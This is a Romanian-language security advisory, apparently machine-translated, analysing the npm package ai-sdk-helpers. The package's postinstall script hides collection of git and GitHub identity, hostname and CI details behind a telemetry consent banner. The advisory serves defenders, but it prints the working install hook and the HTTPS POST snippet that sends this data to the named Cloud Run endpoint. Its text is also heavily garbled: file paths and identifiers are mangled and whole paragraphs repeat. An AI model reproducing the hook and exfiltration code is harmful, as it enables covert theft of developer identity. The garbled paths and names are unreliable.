TL; DR
Un singur pachet npm, ai-sdk-helpers, se prezintă ca un set de instrumente de producție pentru SDK-ul Vercel AI, oferind urmărirea costurilor, soluții de rezervă pentru furnizori și asistență pentru streaming.
Scriptul său în timpul instalării se deschide cu un banner de dezvăluire elegant care descrie diagnosticare anonimă, promițând că nu se transmit cod sursă, token-uri sau acreditări, onorând o DO_NOT_TRACK renunțare și link către o pagină cu politici de telemetrie.
Același script citește apoi identitatea git a dezvoltatorului, configurația CLI GitHub, numele de gazdă al mașinii, numele de utilizator al sistemului de operare, directorul de lucru și furnizorul CI.
Aceste date sunt trimise ca JSON către un endpoint Google Cloud Run, creând o neconcordanță evidentă între politica de telemetrie declarată și câmpurile efectiv colectate.
Pachetul a fost publicat în douăzeci și două de versiuni într-o singură rafală de 83 de secunde, iar scriptul de instalare este identic octet cu octet în fiecare versiune semnalizată.
Șapte din cele opt versiuni analizate de pipeline au fost evaluate ca neconcludente de către clasificatorul ML deoarece stilul bannerului de consimțământ se citește ca telemetrie legitimă.
Clasificăm ai-sdk-helpers ca fiind rău intenționat pe baza colectării și exfiltrării identității dezvoltatorului în momentul instalării.
Severitate: ridicată.
Anatomia instalației
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } postinstalare rulează automat pe npm install, înainte ca vreunul dintre codurile anunțate ale pachetului să fie vreodată importat. Scriptul scripturi/postinstalare.js este locul unde se află tot comportamentul din timpul instalării.
Se deschide cu un bloc de comentarii și o notificare de execuție scrisă în registrul unui proiect open-source care respectă confidențialitatea:
>Când instalați ai-sdk-helpers, executăm o verificare rapidă a compatibilității mediului și raportăm diagnostice anonime… Datele sunt complet anonime — colectăm platforma dvs., versiunea Node și un hash unidirecțional al identificatorului mașinii dvs. Nu se transmit niciodată cod sursă, token-uri sau acreditări.
Chiar conectează o poartă funcțională de dezabonare, primul cod executabil din fișier:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Împletirea mai întâi a acestei porți este ceea ce face ca restul să fie interpretat ca fiind consensual: un dezvoltator care stabilește `D_NU_URMEAZĂ` Instalarea se finalizează silențios și încheie pachetul respectând convenția. Opțiunea de dezabonare onorată este reală. Ceea ce deschide, pentru toți cei care nu o configurează, este colecția descrisă mai jos - nu termenii mai restrânși „platformă, versiune Node și un hash unidirecțional” pe care îi numește notificarea.
Sub acea poartă, scriptul asamblează o sarcină utilă care depășește cu mult acea descriere.
- *Gidentitate t.* rrezolvaScmIdentitate()` heads `~`.gitconfig`,`~.config/git/config`,și proiectul actual `.`it/config`,analizează `[ser]` secțiune și returnează configurația commit e-mail. Dacă niciun fișier de configurare nu generează un e-mail, se revine la `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,și „E”AIL` variabile de mediu. Un docstring deasupra funcției încadrează citirea ca o modalitate „de a deduplica instalările pe mașinile deținute de aceeași persoană (de exemplu, laptop + CI)” - un scop declarat care necesită un identificator stabil per dezvoltator, care commit consumabile pentru e-mail.
- *GCont tHub.* r`solveGitHubIdentity()` heads `~.config/gh/hosts.yml` și `~.config/gh/hosts.yaml` fișierul de configurare scris de GitHub CLI atunci când un dezvoltator se autentifică — și extrage expresia regulată `u`er:` și `esupără-te:` câmpuri. Fișierul respectiv stochează și tokenul OAuth de la GitHub; expresia regulată a scriptului vizează în mod specific liniile de nume de utilizator și de e-mail și nu extrage tokenul. Prin urmare, afirmația „niciun token... nu este transmis niciodată” din bannerul de dezvăluire este literalmente adevărată pentru acel câmp, în timp ce identificatorii de cont adiacenți sunt citiți și trimiși.
- *Hamprentă digitală st și CI.* Scenariul colectează apoi `o`.hostname()`,`o`.userInfo().username`,versiunea, platforma și arhitectura Node, `p`ocess.cwd()`,și o etichetă de furnizor CI rezolvată prin verificarea variabilelor de mediu pentru opt furnizori (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite și două semnalizatoare generice CI). Lista de furnizori se citește ca un inventar al locurilor unde scriptul se așteaptă să se execute - shell-uri interactive și build automat. pipelinee la fel.
Toate acestea sunt grupate într-un singur `dagnostici obiect, cu câmpurile per dezvoltator colectate sub un `ientitate și datele gazdă sub `rtimp_n și `cntext` eys, apoi serializate și transmise:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Răspunsul este eliminat și toate erorile sunt înghițite — un comentariu menționează că „telemetria nu trebuie niciodată să întrerupă instalarea”. Numele de gazdă al punctului final codifică un serviciu Google Cloud Run în `efrânghie-vest1` regiune.
Discrepanța este povestea. Bannerul denumește trei categorii de date - platformă, versiunea Node, hash-ul identificatorului mașinii. Sarcina utilă trimite codul git real al unui dezvoltator. commit adresa de e-mail, numele de utilizator și adresa de e-mail GitHub, numele de gazdă al mașinii și numele contului de sistem de operare, calea proiectului și mediul CI. Câmpurile care identifică un *ppersoană și conturile lor* exact câmpurile omise în dezvăluire.
Fișierul README întărește încadrarea din partea cealaltă. Secțiunea sa „Telemetrie” repetă afirmația de anonimat și leagă cuvântul „D”_NU_URMEAZĂ` o `cnsoledonottrack.com`,pagina comunității reale care documentează convenția de renunțare — împrumutând o notă de confidențialitate recunoscută standard pentru ca notificarea să fie interpretată ca fiind obișnuită.
Companiei
Aceasta este o descoperire dintr-un singur pachet, cu un istoric de publicare foarte scurt și foarte dens. Nu există un arc de campanie de mai multe săptămâni de urmărit - întreaga gamă de versiuni a fost lansată cu viteza mașinii.
| Când (UTC) | eveniment |
|---|---|
| 2026-06-03 20:31:20 | Prima versiune (0.1.0) publicat pe npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Toate cele 22 de versiuni (0.1.0 prin 1.4.2) publicat într-o rafală automată de 83 de secunde. |
| 2026-06-04 | Opt versiuni semnalate prin semnale de detectare; analiza manuală confirmă colectarea și exfiltrarea identității în momentul instalării. Pachetul era activ pe npm în momentul analizei. |
Fereastra de 83 de secunde pe 22 de versiuni semantice este ea însăși un indicator comportamental: scara versiunilor (`01.0',`01.1',... `14.2`)prezintă suprafața unui proiect întreținut activ cu un istoric al lansărilor, produs într-o singură rulare scriptată. Scriptul de instalare nu se modifică pe acea scară — vezi mai jos.
Indicatori de compromis
Sarcina utilă în timpul instalării este identică în întregul interval de versiuni publicate. A `dff` f `sripts/postinstall.js` versiunea `02.1` a doua versiune `14.2` Nu returnează nicio diferență; comportamentul este o amprentă fixă, nu o sarcină utilă în evoluție.
Reţea
Fereastra de 83 de secunde pe 22 de versiuni semantice este ea însăși un indicator comportamental: scara versiunilor (`01.0',`01.1',... `14.2`)prezintă suprafața unui proiect întreținut activ cu un istoric al lansărilor, produs într-o singură rulare scriptată. Scriptul de instalare nu se modifică pe acea scară — vezi mai jos.
Indicatori de compromis
Sarcina utilă în timpul instalării este identică în întregul interval de versiuni publicate. A `dff` f `sripts/postinstall.js` versiunea `02.1` a doua versiune `14.2` Nu returnează nicio diferență; comportamentul este o amprentă fixă, nu o sarcină utilă în evoluție.
Reţea
| Indicator | Rol |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Punct final de exfiltrare care primește cereri HTTPS POST cu sarcini utile JSON. Găzduit pe Google Cloud Run în europe-west1 regiune. |
Infrastructură momeală
| Indicator | Rol |
|---|---|
ai-sdk.guide | Pagina principală a pachetului și site-ul live care susțin identitatea autorului „Ghidul SDK-ului AI”. |
ai-sdk.guide/telemetry | Adresa URL a politicii de telemetrie menționată în notificarea de divulgare la momentul instalării. |
hello@ai-sdk.guide | Adresa de e-mail a autorului declarată în package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Depozitul sursă declarat de pachet. |
Fișiere citite la momentul instalării
- -`.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` Poștă
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `erău
Semnături comportamentale
- – m `pstininstall` ook invocând un script Node inclus
- – poartă de dezabonare (`A`_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NU_URMĂREȘTE`)prezentată ca o caracteristică de confidențialitate, înainte de colectarea identității
- – trimitere HTTPS POST a unui obiect JSON care conține adresa de e-mail git, identitatea GitHub, numele de gazdă, numele de utilizator al sistemului de operare, codul de acces (cwd) și eticheta CI
- – script de instalare te-identic pe o scară de versiuni publicată rapid
Atribuire și comportament observat
Nu atribuim nimic dincolo de ceea ce înregistrează metadatele pachetului și ale registrului.
Administratorul de înregistrări npm este contul `a`ielsimon`,cu adresa „a”iel@vigilance.security`.Registrul listează adresa de e-mail ca neverificată și identitatea de control sursă a contului ca neverificată. `pckage.json`,separat, prezintă autorul ca „Ghid SDK AI`ello@ai-sdk.guide>`”cu o pagină principală de tip „a”-sdk.guide` și un depozit sursă sub un `gOrganizația `thub.com/ai-sdk-guide`. Domeniul de e-mail al contului de publicare (`vigilance.security`)și identitatea autorului din pachet (`a-sdk.guide`)sunt domenii diferite.
„A”-sdk.guide` ite este live și răspunde, iar `/`elemetrie ath rezolvă — identitatea capcană este susținută de o prezență web accesibilă, mai degrabă decât de un link mort, ceea ce crește credibilitatea încadrării pachetului.
**Capacitate observată.** În momentul instalării, pachetul citește fișierele de identitate ale dezvoltatorului și de configurare a contului, amprentează mediul gazdă și CI și transmite rezultatul către un endpoint controlat de operator, afișând în același timp o notificare care descrie un set de date mai restrâns și anonimizat. Descriem acest comportament; nu afirmăm un motiv pentru acesta. Cititorii care evaluează pachetul - inclusiv orice parte care recunoaște identitatea publicării - ar trebui să evalueze neconcordanța observabilă dintre fluxurile de date declarate și cele reale.
Impact, tendințe și îndrumări pentru apărători
Cine este expus. Oricine instalează ai-sdk-helpers — direct sau ca o dependență tranzitorie — rulează colecția pe acea mașină. Deoarece declanșatorul este postinstalare, codul bibliotecii promovat nu trebuie niciodată importat pentru ca fluxul de date să aibă loc; instalarea în sine este suficientă. Mediile cu cea mai mare valoare sunt stațiile de lucru pentru dezvoltatori cu o identitate git configurată și o interfață de comandă GitHub autentificată și rulourile CI, unde detectarea furnizorului CI de către script indică faptul că se așteaptă ca colecția să ruleze în interiorul build-ului. pipelineprecum și pe laptopuri.
Ceea ce expune. Nu secrete de aplicație în cazul general - sarcina utilă se concentrează pe identitatedezvoltatorului commit adresa de e-mail, numele și adresa de e-mail a contului lor GitHub, numele mașinii și al contului și calea proiectului. Aceasta este o preciso hartă a cine a instalat pachetul, pe ce mașină, în ce depozit și sub ce sistem CI. Pentru o organizație, o mână de astfel de înregistrări luate împreună ar enumera ce ingineri și ce sisteme de compilare au extras dependența - util ca precursor pentru o activitate ulterioară mai specifică, chiar dacă propriul comportament al acestui pachet se oprește la colectare și transmitere.
Tendința: telemetria ca acoperire. Instrumentele legitime pentru dezvoltatori colectează diagnostice anonimizate pentru instalare și convențiile pentru a face acest lucru în mod respectuos - o notificare de divulgare, o NU_URMĂRIȚI onoare, un indicator de renunțare, o adresă URL a politicii — sunt bine cunoscute. ai-sdk-helpers reproduce fidel toate aceste patru convenții și le folosește ca înveliș pentru colectarea identității. Prezența unui banner de consimțământ, a unei opțiuni funcționale de dezabonare sau a unui link către politica de confidențialitate nu constituie o dovadă că un pachet este de încredere; aceste controale sunt ieftine de imitat. Singura verificare fiabilă este ceea ce citește de fapt codul și unde trimite de fapt informațiile.
Acest ambalaj are, de asemenea, un efect măsurabil asupra triajului automat. În toate versiunile noastre pipeline revizuite, comentariile în limbaj simplu ale scriptului de instalare, numele de câmpuri structurate și poarta convențională de dezabonare au fost evaluate ca telemetrie obișnuită: șapte din cele opt au revenit neconcludent din clasificatorul ML, nu rău intenționat. Semnalul care rezolvă ambiguitatea nu se află în proză - ci în fișierele specifice pe care le deschide scriptul (~ / .gitconfig, ~/.config/gh/hosts.yml) și destinația către care trimite informațiile. Un evaluator, automat sau uman, care citește informațiile și se oprește acolo va ajunge la o concluzie greșită; determinarea trebuie să provină din faptele fluxului de date.
Îndrumări pentru apărători:
- Instalare cu scripturile dezactivate în mod implicit — npm install –ignore-scripts, sau setați ignore-scripts=true in .npmrc și rulează explicit pași de compilare verificați. Acest lucru neutralizează postinstalare-colectare declanșată pe toate fronturile.
- Nu tratați controalele de dezabonare ca semnale de încredere. NU_URMĂRIȚI check sau un link de tip „politică de telemetrie” nu vă spune nimic despre datele pe care le colectează un script atunci când poarta nu este setată.
- Citiți instrucțiunile de instalare înainte de a adopta pachete auxiliare pentru ecosistemul de inteligență artificială. Spațiul SDK-ului de inteligență artificială Vercel este o țintă în continuă evoluție și cu un nivel ridicat de încredere; postinstalare care atinge ~ / .gitconfig or ~/.config/gh/ este un semnal clar indiferent de modul în care sunt scrise comentariile din jur.
- Monitorizați ieșirea în timpul construirii. Un POST HTTPS de ieșire în timpul npm install, în special către un endpoint de funcție cloud proaspăt furnizat, este observabil la nivelul de rețea și reprezintă un punct de detecție puternic pentru mediile CI.
- Atenție la versiunile comprimate cu versiuni ladder. Un pachet al cărui istoric semantic complet al versiunilor apare în câteva secunde, cu un script de instalare neschimbat, prezintă un istoric de întreținere fabricat.





